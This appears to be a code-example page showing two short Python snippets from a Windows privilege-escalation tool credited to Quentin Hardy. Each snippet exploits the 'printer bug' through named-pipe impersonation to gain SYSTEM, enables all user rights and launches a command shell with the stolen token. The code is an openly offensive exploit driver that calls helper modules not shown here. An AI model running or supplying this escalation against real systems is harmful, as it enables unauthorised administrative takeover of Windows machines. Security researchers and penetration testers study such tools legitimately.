Пример #1
0
def printerbug(args):
    printT("Trying to exploit the 'printer bug'...")
    printT("It can take many seconds, so wait...")
    esc = Escalation()
    status = esc.namedPipeImpersonationSystemViaPrinterBug()
    if status == True:
        imp = Impersonate()
        imp.enableAllUserRights()
        imp.executeCMDWithThreadEffectiveToken()
    else:
        logging.error("Impossible to exploit the 'printer bug'")
# -*- coding: UTF-8 -*-
# By Quentin HARDY ([email protected]) - bobsecq

import sys
sys.path.append('../')
from utils import *
configureLogging()
from escalation import Escalation
from impersonate import Impersonate

esc = Escalation()
esc.namedPipeImpersonationSystemViaPrinterBug()
imp = Impersonate()
imp.enableAllUserRights()  #Not necessary but we can do it, we do it
imp.executeCMDWithThreadEffectiveToken()